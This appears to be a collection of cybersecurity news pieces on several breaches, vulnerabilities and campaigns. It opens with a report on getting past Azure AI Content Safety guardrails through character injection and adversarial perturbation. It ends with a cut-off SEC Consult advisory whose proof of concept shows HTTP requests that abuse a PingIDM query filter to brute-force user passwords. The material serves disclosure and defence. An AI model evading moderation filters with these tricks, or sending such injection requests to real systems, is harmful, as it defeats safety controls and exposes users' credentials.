Mindgard researchers uncovered critical vulnerabilities in Microsoft’s Azure AI Content Safety service, allowing attackers to bypass its safeguards…

Mindgard researchers uncovered critical vulnerabilities in Microsoft’s Azure AI Content Safety service, allowing attackers to bypass its safeguards and unleash harmful AI-generated content.

A UK-based cybersecurity-for-AI startup, Mindgard, discovered two critical security vulnerabilities in Microsoft’s Azure AI Content Safety Service in February 2024. These flaws, as per their research shared with Hackread.com, could allow attackers to bypass the service’s safety guardrails.

The vulnerabilities were responsibly disclosed to Microsoft in March 2024, and by October 2024, the company deployed “stronger mitigations” to reduce their impact. However, the details of it have only been shared by Mindgard now.

****Understanding the Vulnerabilities****

Azure AI Content Safety is a Microsoft Azure cloud-based service that helps developers create safety and security guardrails for AI applications by detecting and managing inappropriate content. It uses advanced techniques to filter harmful content, including hate speech and explicit/objectionable material. Azure OpenAI uses a Large Language Model (LLM) with Prompt Shield and AI Text Moderation guardrails to validate inputs and AI-generated content. 

However, two security vulnerabilities were discovered within these guardrails, which protect AI models against jailbreaks and prompt injection. As per the research, attackers could circumvent both the AI Text Moderation and Prompt Shield guardrails and inject harmful content into the system, manipulate the model’s responses, or even compromise sensitive information. 

Microsoft’s Azure AI Content Safety Service and bypassing the (Via Mindgard)

****Attack Techniques****

According to Mindgard’s report, its researchers employed two primary attack techniques to bypass the guardrails including Character injection and Adversarial Machine Learning (AML).

****Character injection:****

It is a technique where text is manipulated by injecting or replacing characters with specific symbols or sequences. This can be done through diacritics, homoglyphs, numerical replacement, space injection, and zero-width characters. These subtle changes can deceive the model into misclassifying the content, allowing attackers to manipulate the model’s interpretation and disrupt the analysis. The goal is to deceive the guardrail into misclassifying the content. 

****Adversarial Machine Learning (AML):****

AML involves manipulating input data through certain techniques to mislead the model’s predictions. These techniques include perturbation techniques, word substitution, misspelling, and other manipulations. By carefully selecting and perturbing words, attackers can cause the model to misinterpret the input’s intent.

****Possible Consequences****

The two techniques effectively bypassed AI text moderation safeguards, reducing detection accuracy by up to 100% and 58.49%, respectively. The exploitation of these vulnerabilities could lead to societal harm as it “can result in harmful or inappropriate input reaching the LLM, causing the model to generate responses that violate its ethical, safety, and security guidelines,” researchers wrote in their blog post shared exclusively with Hackread.com.

Moreover, it allows malicious actors to inject harmful content into AI-generated outputs, manipulate model behaviour, expose sensitive data, and exploit vulnerabilities to gain unauthorized access to sensitive information or systems.

“By exploiting the vulnerability to launch broader attacks, this could compromise the integrity and reputation of LLM-based systems and the applications that rely on them for data processing and decision-making,” researchers noted.

It is crucial for organizations to stay updated with the latest security patches and to implement additional security measures to protect their AI applications from such attacks.

1.  Mirai botnet exploiting Azure OMIGOD vulnerabilities
2.  Microsoft AI Researchers Expose 38TB of Top Sensitive Data
3.  Phishing Attacks Bypass Microsoft 365 Email Safety Warnings
4.  Researchers access primary keys of Azure’s Cosmos DB Users
5.  Data Security: Congress Bans Staff Use of Microsoft’s AI Copilot
6.  New LLMjacking Attack Lets Hackers Hijack AI Models for Profit

Azure AI Vulnerabilities Allowed Attacks to Bypass Moderation Safeguards

The sophisticated Chinese cyberattacks of today rest on important groundwork laid during the pandemic and before.

Source: Cinematic via Alamy Stock Photo

Chinese threat actors are operating at a higher level today than ever before, thanks to years of trial-and-error-style attacks against mass numbers of edge devices.

Networking devices are a known favorite of China's advanced persistent threats (APT), and why wouldn't they be? Sitting on the outer banks of an enterprise network, they not only allow threat actors a way in, they also double as useful nodes for botnets. They offer opportunities for lateral movement, they often store sensitive data, and network defenders have a harder time seeing into and securing them than they do other kinds of network computers. 

Over time, Chinese APTs have been improving on their edge attack capabilities. Since 2018, Sophos has traced a distinct evolution in tactics: from naive, low-level attacks came more sophisticated campaigns against massive numbers of devices, followed by a period of more targeted attacks against specific organizations.

**The First Salvo in a Long Cyber War**

On Dec. 4, 2018, Sophos analysts discovered a suspicious device running network scans against Cyberoam, a Sophos subsidiary based in India. In some ways the attack was run of the mill, using commodity malware and common living-off-the-land (LotL) tactics.

Other evidence, though, suggested that this was something different. For example, the attacker utilized a novel technique to pivot from on-premises devices to the cloud, via an overly permissive identity and access management (IAM) configuration to the Amazon Web Services Systems Manager (AWS SM).

Related:Dark Reading News Desk Live From Black Hat USA 2024

"AWS SM was quite a new technology, and it was quite a subtle misconfiguration," Sophos chief information security officer (CISO) Ross McKerchar recalls. "That was one of the first indicators that we were up against an interesting adversary." 

Later, the attackers deployed a novel rootkit called Cloud Snooper. Cloud Snooper was so stealthy that two third-party consultancies missed it in their analysis, before Sophos eventually picked up on its presence.

The goal of the attack, it seemed, was to collect information useful for future attacks against edge devices. It was a harbinger of what was to come.

**A Five-Year Evolution in Chinese TTPs**

Chinese cyber threats blossomed from roughly 2020 to 2022, as attackers focused on identifying and breaching edge devices en masse.

It worked thanks to the large quantity of devices in the wild that have Internet-facing portals. Typically, these interfaces are designed for internal use. With COVID-19, though, more and more companies were allowing employees to connect from the open Web. This provided a window for hackers with the right kind of credentials or vulnerabilities to get in.

Related:The Overlooked Importance of Identifying Riskiest Users

It helped, too, that around that same time — July 2021 — China's Cyberspace Administration passed the Regulations on the Management of Network Product Security Vulnerability Information rules. These mandates forced cybersecurity researchers to report vulnerabilities to the country's Ministry of Industry and Information Technology (MIIT) before disclosing to any other parties. "It was designed to co-opt the whole country — private citizens included — into being assets for PRC objectives," McKerchar says. Sophos argues with medium confidence that two notable campaigns during this period were facilitated by vulnerabilities responsibly disclosed by researchers at universities in the Chinese city of Chengdu.

Chinese APTs weren't only interested in using compromised devices to attack the companies from whence they came. With varying degrees of success, they would often try to incorporate the devices into broader operational relay box networks (ORBs). These ORBs, in turn, offered higher-level threat actors more sophisticated infrastructure from which to launch more advanced attacks and hide any trace of their origin.

Related:FBI, Partners Disrupt RedLine, Meta Stealer Operations

**What's Happening Now**

After this noisy period, around the middle of 2022, Chinese APTs shifted yet again. Ever since, they've been focused on much more deliberate and targeted attacks against organizations of high value: government agencies, military contractors, research and development firms, critical infrastructure providers, and the like.

These attacks follow no single pattern, involving known and zero-day vulnerabilities, userl and and UEFI bootkits, and whatever other elements pair with active, hands-on-keyboard-type attacks. They almost certainly wouldn't be as sophisticated as they are, though, without all of the years of trial and error that occurred before. Evidence to that is just how effective these threat actors are at overcoming cybersecurity defenses. In recent years, they've demonstrated an ability to sabotage hotfixes for vulnerable devices, and block evidence of their activity from reaching Sophos analysts.

"There's a clear arc of moving to stealthier and stealthier persistence in the activity that we've uncovered," McKerchar says.

He explains how "the first malware, whilst it was bespoke for our devices, it wasn't really trying to hide. They were just banking on nobody looking. In the second wave of attacks they learned a bunch of lessons, remarkably quickly. The malware wasn't explicitly trying to hide, it was just smaller, and naturally able to blend in a bit more. Then after that, they started kind of pulling out more interesting tactics: Trojan class files, memory-resident malware, rootkits, bootkits."

He concludes, "It'd be hard to speculate on what's next, except \[that\] they're going to be improving again."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Chinese APTs Cash In on Years of Edge Device Attacks

Misconfigurations, weak authentication, and logic flaws are among the main drivers of API security risks at many organizations.

Source: Who is Danny via Shutterstock

Security vulnerabilities in the application programming interfaces (APIs) powering modern digital services and applications have emerged as a major threat to enterprise systems and data.

A recent report from Wallarm shows a 21% increase in API-related flaws between this year's second and third quarters. Nearly one-third (32%) were associated with cloud infrastructure and cloud-native applications and services. In addition to the increased volume, a high proportion of the vulnerabilities that Wallarm reviewed had severity scores of 7.5 or higher, indicating growing risk for organizations from API use.

"In Q3 we saw API breaches driven by authentication and authorization issues, leaked API data, and classic injection attacks," says Wallarm founder and CEO Ivan Novikov.

Significantly, while many of the vulnerabilities in OWASP's list of Top 10 API vulnerabilities are server-focused, Wallarm's data shows an uptick in client-side flaws, like OAuth misconfiguration and cross-site issues, Novikov says.

"It's concerning because defenders are resource-constrained and need to focus on the most important types of attacks," he says.

A continuing enterprise emphasis on API integration and functionality — over security — is exacerbating the issue. Just 37% of organizations have formally incorporated security testing into their API life cycle management practices, a study by Postman found earlier this year.

"APIs are now a top target for malicious actors, making security and observability critical," the report noted.

What are the major contributors to API security risks? And what should organizations be doing to mitigate them?

**Misconfigured APIs**

Many API security issues in recent years have stemmed from relatively easily avoidable misconfigurations. Common examples include inadequate authentication and authorization, lack of input validation, improper rate limiting, inadequate logging and monitoring, and the exposure of sensitive data through error messages. Such misconfigurations can have severe consequences.

For instance, Broken Object Level Authorization — when an API does not properly validate user access to resources — can allow attackers to manipulate object IDs to access unauthorized data, says Ankit Sobti, co-founder and CTO of Postman. Similarly, Broken User Authentication vulnerabilities — when an API fails to enforce proper authentication — often allow attackers to bypass authentication checks and gain unauthorized access to endpoints.

Organizations can mitigate these issues by implementing security best practices, such as strict authorization checks, role-based access control, multifactor authentication, server-side data filtering, and reviewing API responses for unnecessary data.

"Without proper rate limiting, APIs become vulnerable to abuse through techniques like brute-force attacks or denial-of-service attacks, which can overwhelm the service," Sobti stresses.

The vast majority of API-related breaches over the past few years have resulted from poor posture governance, says Nick Rago, field CTO at Salt Security. In many instances, "the barrier to breach was pretty low, and the attacker did not need any herculean effort to take advantage of a misconfigured API."

Rago attributes the problem to a lack of proper oversight over API development and management.

Building a governance framework around the creation of a corporate posture standard is an important first step, he says. To alleviate risks, organizations need to implement capabilities for discovering API assets, assessing their security posture, and remediating noncompliance as needed, Rago adds.

**Badly Designed APIs**

Poorly designed APIs are another major driver of API security incidents; these APIs do everything they are supposed to do, except in a manner that an adversary can take advantage of, Rago says.

"Think of APIs that return more information than an application needs or APIs that can be scraped for information over time," he explains.

Other examples include APIs that use unvalidated SQL inputs, expose implementation details, are too complex and bloated, handle errors in an insecure manner, or have inconsistent naming and structure.

In addition, a poorly designed API can sometimes ignore business logic inconsistencies, Rago says. Examples include ecommerce APIs that allow users to manipulate prices or make modifications that enable overly permissive access to accounts and transactions. Imperva's "State of API Security 2024" report, in fact, identified business logic abuse as last year's top attack on APIs. These attacks accounted for 27% of all API related attacks in 2023, an increase of some 10% over the prior year.

"Both abuse of badly designed APIs or attacks leveraged against a business logic vulnerability can be addressed by leveraging specialized behavioral threat protection that can decipher not just anomalous usage but discern malicious intent behind an API consumer," Rago notes.

As Imperva vice president of API security Lebin Cheng wrote in an op-ed earlier this year, poorly made API design decisions can have a lasting impact on organizations and their customers. APIs, for instance, could cause serious performance bottlenecks if developers fail to consider scalability requirements when designing them. Similarly, by focusing mostly on business needs, developers can often overlook common security issues, such as buffer overflow errors, during design time, Cheng wrote. 

"The issue of poor API design is further compounded by the fact that there are no strict standards for how APIs should be designed," he said. "This leaves it up to individual developers to determine the best way to implement and develop APIs, which means that poor design decisions can easily slip through the cracks."

**Lack of Visibility**

APIs have emerged as a top attack vector for threat actors because of their near ubiquitous use. Imperva's research showed organizations, on average, have 613 API endpoints per account. The security vendor found API traffic to account for 71% of all Web traffic in 2023, with the average enterprise making 1.5 billion API calls per year.

Despite the proliferating use and corresponding risk exposure, many organizations don't have enough visibility over their APIs.

"New methods are required to discover and test APIs," says Kimm Yeo, solutions manager at Black Duck.

Organizations need to start thinking about API security in a more proactive manner, Yeo advocates. That means implementing capabilities to discover and inspect APIs earlier in the software development life cycle, she says. The goal should be to ensure APIs and applications are continuously tested before they get into production.

"Today's API security solutions largely focus on implementing API discovery during production, \[where\] any critical alerts produced are difficult to trace to the code," she says. This can make it impossible for developers to fix identified issues, Yeo adds.

The pressing issue for most organizations is their lack of inventory of all externally facing APIs, says Krishna Vishnubhotla, vice president of product strategy at Zimperium.

"It's critical to act quickly as bad actors are exploiting this gap," he says. "The first step is to urgently discover and inventory all these public APIs, followed by immediate measures to secure them.

**Inadequate Security Testing**

Many organizations are failing to prioritize API security adequately and often underestimate the unique risks APIs pose. Postman's survey found just 37% of organizations currently do automated scanning and regular penetration tests to try and catch API vulnerabilities earlier in the development life cycle. Relatively few have integrated security testing and checks in their API development process or centralized API monitoring capabilities.

Organizations that embrace API-first strategies — where APIs are a priority focus during the software planning, design, architecture, and development process — are seeing better success on the API security front, says Salt Security's Rago.

"Those organizations typically enforce 'spec-first development,' meaning an API must be 'blueprinted' with Swagger or OAS and approved before a line of code is written," he says. "You need to blueprint the hospital first and validate its construction against the plan before you let patients in. Seems obvious, but in most organizations that is still not the way it works."

API risks fall under two big categories: access and availability, Wallarm's Novikov says. Attackers either gain access to something they shouldn't or they can take an API offline by impacting its availability.

"There are lots of technical details about how they might accomplish these objectives, but they all bubble up to these two outcomes," Novikov says.

At a high level, the key protections against these risks are strong authentication and authorization across all API endpoints, he says.

"That means knowing all the APIs you have, which should require authentication, strictly checking authorization on the server side, and implementing advanced rate limiting to slow attackers down," he advises. "These mitigations are best practices, but that doesn't mean they're common practices."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

4 Main API Security Risks Organizations Need to Address

Factory automation software from Mitsubishi Electric and Rockwell Automation could be subject to remote code execution (RCE), denial-of-service (DoS), and more.

Source: frans lemmens via Alamy Stock Photo

Critical security vulnerabilities affecting factory automation software from Mitsubishi Electric and Rockwell Automation could variously allow remote code execution (RCE), authentication bypass, product tampering, or denial-of-service (DoS).

That's according to the US Cybersecurity and Infrastructure Security Agency (CISA), which warned yesterday that an attacker could exploit the Mitsubishi Electric bug (CVE-2023-6943, CVSS score of 9.8) by calling a function with a path to a malicious library while connected to the device — resulting in authentication bypass, RCE, DoS, or data manipulation.

The Rockwell Automation bug (CVE-2024-10386, CVSS 9.8), meanwhile, stems from a missing authentication check; a cyberattacker with network access could exploit it by sending crafted messages to a device, potentially resulting in database manipulation.

The critical vulnerabilities are two out of several issues affecting Mitsubishi's and Rockwell Automation's smart-factory portfolios, all listed in CISA's Halloween disclosure. Both industrial control systems (ICS) suppliers have issued mitigations for manufacturers to follow in order to avoid future compromise.

The noncritical bugs include:

*   An out-of-bounds read that could result in DoS (CVE-2024-10387, CVSS 7.5) also affects the Rockwell Automation FactoryTalk ThinManager.
    
*   A remote unauthenticated attacker may be able to bypass authentication in Mitsubishi Electric FA Engineering Software Products by sending specially crafted packets (CVE-2023-6942, CVSS 7.5). And the Mitsubishi Electric portfolio is also vulnerable to several lower-severity bugs, CISA noted.
    
*   An authentication bypass vulnerability in the Mitsubishi Electric MELSEC iQ-R Series/iQ-F Series (CVE-2023-2060, CVSS 8.7) exists in its FTP function on EtherNet/IP modules. Weak password requirements could allow a remote, unauthenticated attacker to access the module via FTP by dictionary attack or password sniffing. Meanwhile, several other lower-severity issues also affect the platform, CISA noted.
    

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

Manufacturers should apply patches and mitigations as soon as possible, given that smart factories are among the most-targeted ICS sectors. The news also comes as nation-state attacks on US critical infrastructure have ramped up, with CISA warning that both Russian and Chinese advanced persistent threats (APTs) show no signs of letting up their assaults on utilities, telecoms, and other high-value targets. Canada as well recently warned of sustained cyber assaults from China on its critical infrastructure footprint.

Related:IT Security Centralization Makes the Use of Industrial Spies More Profitable

**About the Author**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

Critical Auth Bugs Expose Smart Factory Gear to Cyberattack

As organizations centralize IT security, the risk of espionage is silently becoming a more profitable threat.

Source: Cagkan Sayin via Alamy Stock Photo

COMMENTARY

In recent years, large-scale financial and reputational damages have taught organizations the value of IT security. From corporations to universities, many organizations employ advanced security measures, such as implementing multifactor authentication, conducting regular ISO 27001 audits, providing social engineering training, and even conducting penetration tests and red-team exercises. Beyond this, to prevent unaffiliated devices from roaming freely in their networks, many organizations ask individuals to register their devices and apply security policies on them, such as using complex passwords. 

This is where the game suddenly changes: Security decisions being centralized completely to the organization's IT team poses significant risks. Specifically, our key argument is that this issue will likely increase the use of espionage techniques to compromise systems. 

Consider the following scenario: An executive of a large organization enrolls in a part-time master's program. To access university resources and emails, she connects her personal Windows laptop to the university's network (i.e., Settings > Accounts > Access work or school). Now, her laptop is managed by the university's mobile device management (MDM) system. If she asks about this, the IT team will assure her that this setup is mainly for ensuring updates and strong password policies — and this is all true. 

But what she probably will not be told is that now they have the technical capability to do much more. Many IT teams self-impose limitations on what they can do bring-your-own-device (BYOD) situations to respect user privacy. However, these limitations are policy-based and can easily be reconfigured by a rogue employee. For instance, if such an individual decides to install a program, wipe her disks, or run a script to steal her files, they can adjust the MDM policies to do so. Worse yet, an IT team member who has gone rogue is not only able to do anything she can do on her machine but can also do anything she can do on her company's network. 

**Risk Across Sectors**

While we used the example of a university in this case, obviously this scenario is not limited to educational institutions; The same risks exist across sectors such as healthcare, corporations, and even gaming. Whenever an IT team is allowed to centrally control IT security, such as through an MDM system, there is potential for abuse. 

Given this, traditional espionage techniques — in particular, planting an employee into the IT team or broader organization — become a viable model for criminal enterprises. In fact, unlike most other criminal endeavors that offer similar levels of potential monetary gains (e.g., stealing from a bank), this is not only less risky but also requires much less personnel (e.g., just one individual who deceives their way into the IT team). 

This is because, in most cases, espionage completely bypasses security controls, by capitalizing on the trust placed in IT teams. In contrast, trying to hack into a hardened system comes with all kinds of hurdles. For instance, you can try to use a zero-day exploit, but it would cost exorbitant amounts of money. Exploit brokers such as Zerodium pay large sums (e.g., $2.5 million) to buy a zero-day, and then add their profits to the sum while selling it. In contrast, the price of planting a spy, especially within a lower-risk environment like a school or public hospital, is significantly lower. Furthermore, planting a spy in the organization can provide information and access for extended periods. 

Therefore, this trend toward centralized IT control makes the use of industrial spies a more profitable and less risky proposition. After all, how many organizations — let alone universities, schools, or public hospitals — can effectively root out a highly trained professional spy embedded within their IT team? 

Furthermore, this centralization trend is expanding beyond enterprise environments. For example, many multiplayer games employ anti-cheating measures that operate at the kernel level, granting full access to the gaming company's IT team. One way to hack hundreds of thousands of users, therefore, is hiring a sophisticated team of hackers to reverse engineer the anti-cheat engine for countless hours to find a zero-day vulnerability. Generally, though, planting someone into the gaming company is a much cheaper alternative. 

**How Do We Design Our Systems Better?**

In response, we need to improve the design of our systems in at least three ways.

*   First, systems must be designed with decentralization in mind; highly centralized systems come with the threat of a single point of critical failure.
    
*   Second, information security should not be confined to IT teams; we have to embed the zero-trust mindset into all organizational functions, ranging from HR (e.g., recruitment practices) to managerial decision-making.
    
*   Finally, for IT admins today, the top-level concern is the breach of the servers and domain controllers. However, unwarranted access to personal devices must become another top concern beyond the compromise of the organization's own servers. 
    

Ultimately, we must recognize that the centralization of IT security elevates espionage to a critical threat, marking the next phase in the evolution of information security. 

**About the Authors**

Reader (Associate Professor) in Digital Innovation and Information Security, King's College London

Aybars Tuncdogan is a reader (associate professor) in digital innovation and information security at King’s College London. He is also a research affiliate of the King’s AI Institute and a member of both the Cybersecurity Research Centre (King’s Informatics Department) and the Cyber Security Research Group (King’s War Studies Department). 

Lecturer (Assistant Professor) in Marketing, University of Sussex

Fulya Acikgoz is a lecturer (assistant professor) in marketing at the University of Sussex. Her research covers a wide range of topics with a particular focus on technology and innovation marketing and management in different contexts. Her work has been published in high-impact journals. She is also the co-author of the book Blockchain for Tourism and Hospitality Industries.

IT Security Centralization Makes the Use of Industrial Spies More Profitable

Fraudsters running the Phish 'n Ships campaign infected legitimate website and used SEO poisoning to redirect shoppers to their fake web shops

Researchers at the Satori Threat Intelligence and Research team have published their findings about a group of cybercriminals that infect legitimate web shops to create and promote fake product listings.

The threat, dubbed “Phish ‘n Ships” by the researchers, reportedly infected more than 1,000 websites and built 121 fake web stores to trick consumers. Estimated losses are in the region of tens of millions of dollars over the past five years.

The group infected legitimate web shops with a malicious payload that would redirect visitors to web shops under their own control. While visiting such an affected web shop the visitor would be served fake product listings. When they clicked on the link for that item, hundreds of thousands of victims were redirected.

The fraudsters also made sure that their fake product listings contained metadata that put them near the top of search engine rankings for those items. SEO poisoning is a technique employed by cybercriminals to manipulate search engine results, making harmful websites or advertisements appear at the top of search results.

On the fake web shop, one of four targeted third-party payment processors collects credit card info and confirms a “purchase,” but the product never arrives.

The fraudsters used several established vulnerabilities to infect a wide variety of web shops.

For the users it’s not just the payment for an article they’ll never receive and the disappointment about not getting that sought-after article, but there is also the risk of providing cybercriminals with their payment card information.

The campaign has been disrupted for a large part due to the efforts of the researchers, but they warn that part of it is still active.

**So, what can consumers do to stay safe?**

Keep an eye on the website displayed in the address bar. Did the advertisement you clicked on take you to the expected web shop? And when the checkout process runs through a different web shop, this is another reason for alarm.

Be especially cautious when you are looking for hard-to-get items, because this is what the group specializes in.

If you are suspicious, it’s a good idea to try the input validation of the shipping information. The fraudsters do not care whether you fill out a real phone number or street address since they have no intention of shipping anything, so the validation process does not work. On a legitimate web shop this should work and warn visitors about invalid entries.

Malwarebytes’ web protection module and Browser Guard block the IP addresses in use by this group.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 1,000+ web shops infected by &#8220;Phish ‘n Ships&#8221; criminals who create fake product listings for in-demand products 

Operation EMERALDWHALE compromises over 15,000 cloud credentials, exploiting exposed Git and Laravel files. Attackers use compromised S3 buckets…

Operation EMERALDWHALE compromises over 15,000 cloud credentials, exploiting exposed Git and Laravel files. Attackers use compromised S3 buckets for storage, increasing the risks of phishing and cloud account breaches.

The Sysdig Threat Research Team discovered a global operation called EMERALDWHALE, which targeted Git configurations, resulting in over 15,000 cloud service credentials being stolen. The primary goal of stealing credentials was phishing and spam, with the credentials potentially worth hundreds of dollars per account.

****The Attack Chain****

The campaign used private tools to abuse misconfigured web services, allowing attackers to steal credentials, clone repositories, and extract cloud credentials from their source code. Over 10,000 private repositories were collected, and the stolen data was stored in a previous victim’s S3 bucket.

The Sysdig Threat Research Team reported that attackers used tools such as httpx and Masscan to scan large portions of the internet for servers with exposed Git configuration files (/.git/config) and Laravel environment files (.env). Upon finding exposed files, attackers leveraged tools like MZR V2 and Seyzo-v2 to extract sensitive information, including usernames, passwords, and API keys, using regular expressions to locate relevant data within the files.

The stolen credentials enabled attackers to clone private repositories, exposing additional sensitive data, such as source code. Verified credentials were then tested across various cloud services to find valid ones, which were afterwards used for malicious activities, including phishing, spam campaigns, or further compromises of cloud accounts. Ultimately, the attackers uploaded stolen data to compromised S3 buckets.

****EMERALDWHALE’s Tools of Choice****

The investigation identified two main tools used by EMERALDWHALE: MZR V2 (MIZARU) and Seyzo-v2. MZR V2, a suite of Python and shell scripts, supports target discovery, credential extraction, repository cloning, and credential validation. Similarly, Seyzo-v2 automates credential theft from exposed Git configurations through scripts, enabling attackers to locate and extract sensitive data efficiently.

In addition to Git configurations, EMERALDWHALE also targeted exposed Laravel environment files (.env). These files often contain sensitive information like database credentials and cloud service API keys. Multigrabber v8.5 is a popular tool used to exploit vulnerabilities in Laravel and steal this sensitive data.

Operation EMERALDWHALE is one of the examples of how the stolen credentials market has become a lucrative business for cybercriminals. For example, target lists of exposed Git configurations were found to be sold for around $100. Valid cloud service credentials can also be sold in bulk or through automated shops, fetching a huge profit for attackers.

Tools being sold on Telegram (Via Sysdig Threat Research Team)

The finding shows the importance of proper configuration management in securing sensitive information. Ensuring Git configuration files are not publicly accessible, limiting access to necessary variables, and conducting regular vulnerability scans are crucial to staying protected.

“This attack shows that secret management alone is not enough to secure an environment. There are just too many places credentials could leak from. Monitoring the behaviour of any identities associated with credentials is becoming a requirement to protect against these threats,” the report read.

Rom Carmel, Co-Founder and CEO at Apono, weighed in on the recent development stating “This is yet another example of how credentials remain a top target for hackers who follow the adage, ‘teach a man to phish, and he’ll have access for a lifetime.’_“_

“With the right credentials, attackers can access all resources an identity is privileged to, creating an endless list of potential targets. Given the rise in leaked credentials and the availability of phishing kits bypassing MFA, organizations must adopt an ‘assumed breach’ posture.”

1.  Best Practices for Cloud Computing Security
2.  Abandoned S3 Buckets Used for Malicious Payloads
3.  350 million credentials exposed on misconfigured AWS S3 bucket
4.  iOS and Android Users at Risk as Popular Apps Expose Cloud Keys
5.  AI Firm’s Misconfigured Server Leaked 5.3TB of Mental Health Records

EMERALDWHALE Steals 15,000+ Cloud Credentials, Stores Data in S3 Bucket

Ping Identity PingIDM versions 7.0.0 through 7.5.0 enabled an attacker with read access to the User collection, to abuse API query filters in order to obtain managed and/or internal user's passwords in either plaintext or encrypted variants, based on configuration. The API clearly prevents the password in either plaintext or encrypted to be retrieved by any other means, as this field is set as protected under the User object. However, by injecting a malicious query filter, using password as the field to be filtered, an attacker can perform a blind brute-force on any victim's user password details (encrypted object or plaintext string).

    SEC Consult Vulnerability Lab Security Advisory < 20241030-0 >=======================================================================              title: Query Filter Injection            product: Ping Identity PingIDM (formerly known as ForgeRock Identity                     Management) vulnerable version: v7.0.0 - v7.5.0 (and older unsupported versions)      fixed version: various patches; v8.0         CVE number: CVE-2024-23600             impact: medium           homepage: https://backstage.forgerock.com/docs/idm              found: 2024-04-10                 by: Ksandros Apostoli                     Miguel García Martín                     SEC Consult Vulnerability Lab                     An integrated part of SEC Consult, an Eviden business                     Europe | Asia                     https://www.sec-consult.com=======================================================================Vendor description:-------------------"ForgeRock Identity Management (IDM) software provides centralized, simplemanagement and synchronization of identities for users, devices, and things.IDM software is highly flexible and therefore able to fit almost any use caseand workflow."Source: https://backstage.forgerock.com/docs/idm/7.5/release-notes/preface.html"The combination of Ping Identity and ForgeRock is ushering in a very excitingtime in the identity market. Together, our market-leading identity services willdeliver more choice, unparalleled expertise, and a more complete identitysolution for our customers and partners. We're incredibly excited to welcomeyou all to the future of identity."Source: https://www.pingidentity.com/en/lp/pingandforgerock.htmlBusiness recommendation:------------------------The vendor provides a patch which should be installed immediately.SEC Consult highly recommends to perform a thorough security review of the productconducted by security professionals to identify and resolve potential furthersecurity issues.Vulnerability overview/description:-----------------------------------1) Query Filter Injection (CVE-2024-23600)Ping Identity PingIDM (formerly known as ForgeRock Identity Management) versions7.5.0 and below, enabled an attacker with read access to the "User" collection,to abuse API query filters in order to obtain managed and/or internal user'spasswords in either plaintext or encrypted variants, based on configuration.The API clearly prevents the password in either plaintext or encrypted to beretrieved by any other means, as this field is set as protected under the"User" object.However, by injecting a malicious query filter, using "password" as the field tobe filtered, an attacker can perform a blind brute-force on any victim's userpassword details (encrypted object or plaintext string).This blind brute-force can be very efficiently conducted since the query filteringsupported by the PingIDM API supports versatile operators such as Starts-With ('sw')or Contains ('co') etc. The sole limitation in this approach is case-insensitivityin the above-described filters adding an additional guessing overhead.The issue potentially extends to all protected fields of custom or built-incollections, but this remains to be tested.Proof of concept:-----------------1) Query Filter Injection (CVE-2024-23600)Two proof of concepts will be provided, one for version 7.3.0 and one for 7.5.0.PoC 1 - PingIDM (v7.3.0) - configured to store plaintext user passwordsIn the vulnerable instance running in this example (version 7.3.0), SEC Consultcreated a test user with the following credentials: `secUser1:aAqQ1234!`.A benign query filter in PingIDM can be crafted from the administrativeUI to filter, for example, users by their username (the password field is notpresented as available for filtering in the UI):HTTP Request```GET /openidm/managed/user?_queryFilter=userName+sw+"sec" HTTP/2Host: $HOSTCookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:05:13 GMTContent-Type: application/json;charset=utf-8Content-Length: 534Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [        {            "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",            "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",            "userName": "secUser1",            "accountStatus": "active",            "postalCode": "8046",            "stateProvince": "ZH",            "postalAddress": "Flurstrasse",            "description": "Pentest User 1",            "country": "CH",            "city": "Zurich",            "givenName": "SEC",            "sn": "Consult",            "mail": "secuser1@sec-consult.com",            "preferences": {                "updates": true,                "marketing": false            }        }    ],    "resultCount": 1,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```Note in the request/response pair above, that the query filter sent over thepresented API request was used to query all users with 'userName' starting('sw') with the string "sec". As expected the test user 'secUser1'was returned. In addition, observe that the password field is never to bereturned in any form (plaintext or encrypted) by the API.Despite not being available for filtering in either the UI or API documentation,the 'password' field can be used instead of 'userName' in the example aboveto query users based on their password. In case the PingIDM instance has beenconfigured to store user passwords persistently in plaintext, it can be querieddirectly as shown in the request below:HTTP Request```GET /openidm/managed/user?_queryFilter=password+sw+"a" HTTP/2Host: $HOSTCookie: 